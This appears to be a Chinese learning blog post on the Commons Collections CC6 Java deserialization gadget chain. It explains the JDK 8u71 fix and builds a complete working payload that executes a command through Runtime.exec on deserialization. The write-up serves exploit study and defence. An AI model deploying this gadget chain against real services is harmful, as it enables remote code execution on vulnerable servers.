java反序列化学习-CC6
1. 背景介绍
在 JDK 8u71 版本中,针对 CC1 链中存在的反序列化漏洞进行了关键修复。其核心策略是封堵攻击者控制关键对象成员变量 (memberValues) 的路径,具体体现在两条主要利用链上:
1. 针对 AnnotationInvocationHandler.readObject()中 TransformedMap.checkSetValue()的利用链:
修复方式:在 readObject 方法的反序列化过程中,彻底移除了对 TransformedMap 或其包装类执行 checkSetValue 操作的逻辑,从根源上切断了该链路的触发可能性。
2. 针对 AnnotationInvocationHandler.invoke() 中 LazyMap.get() 的利用链:
修复方式:对 memberValues 字段的处理机制进行了根本性改变。该字段不再接收并信任反序列化数据流传入的值(避免客户端恶意构造)。取而代之的是,在 AnnotationInvocationHandler 内部通过反射 (java.lang.reflect.Field)来动态设置和获取 memberValues`的值。这确保了 memberValues 只能由运行时环境的真实类型来初始化和管理,杜绝了反序列化过程中攻击者赋予恶意值的风险。
正是 JDK 8u71 的这项关键修复——特别是通过反射在 AnnotationInvocationHandler 内部严格控制 memberValues 的赋值——使得直接利用 CC1 链中的 AnnotationInvocationHandler 变得不可行。然而,安全研究人员迅速寻找到了新的攻击路径:Commons Collections 6 (CC6) 链应运而生。CC6 链的核心创新在于避开了被修复的 AnnotationInvocationHandler,转而利用 TiedMapEntry 类作为新的入口点和连接点。TiedMapEntry 自身在其 readObject 或 toString/hashCode 方法中(具体取决于链的构造),能够触发 LazyMap.get() 中的危险链式调用。这种方式巧妙地绕过了 JDK 8u71 对 AnnotationInvocationHandler.memberValues 施加的安全限制。
2. CC6 调用链

3. CC6的实现
分析CC6链的调用流程,可以发现其核心触发点位于HashMap的反序列化过程,这与URLDNS链的触发机制高度相似:
-
入口点 (
HashMap.readObject()):- 当反序列化一个精心构造的
HashMap对象时,其readObject()方法会遍历内部存储的所有键值对(Entry)。 - 在遍历过程中,
HashMap需要计算每个键(Key)的哈希值以确定其存储位置(或进行其他内部操作)。
- 当反序列化一个精心构造的
-
关键调用 (
HashMap.hash(key)/Key.hashCode()):- 计算键的哈希值会调用
key.hashCode()方法。 - 在CC6链中,这个键被设置为一个恶意的
TiedMapEntry对象。因此,实际触发的是TiedMapEntry.hashCode()方法。
- 计算键的哈希值会调用
-
恶意行为链 (
TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()):TiedMapEntry.hashCode()方法内部调用了this.getValue()。TiedMapEntry.getValue()方法接着调用了this.map.get(this.key)。- 这里的
this.map被设置为一个精心构造的LazyMap对象。因此,最终触发了LazyMap.get(Object key)方法。
接下来构造Payload,首先看下TideMapEntry的构造函数。

它的第一个参数是接收Map,第二个是key,因此我们这里把LazyMap放入map中即可,构造语句如下。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
与URLDNS链类似,如果直接将构造好的完整恶意TiedMapEntry对象通过HashMap.put(key, value)方法加入HashMap,会在执行put操作的瞬间立即触发putVal()逻辑。这导致以下调用提前发生:
HashMap.hash(key)->TiedMapEntry.hashCode()->getValue()->LazyMap.get()
此时,LazyMap.get()中设置的恶意转换器(如ChainedTransformer)会立即执行命令,攻击行为在反序列化发生之前就完成了,这并非攻击者期望的延迟触发效果。为了防止这种提前执行,我们需要在将TiedMapEntry关联的LazyMap与HashMap绑定时,暂时使用一个无害的“占位”Transformer,在put后在再通过反射修改回来,修改如下。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazeMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazeMap,chainedTransformer);
但此时发现还是无法弹出计算器,调试一下发现。

lazyMap中赋值的 aaa 在这里影响了if判断,没有进入语句中,因此我们这里需要删除aaa,最终payload如下。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazeMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazeMap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazeMap,chainedTransformer);

浙公网安备 33010602011771号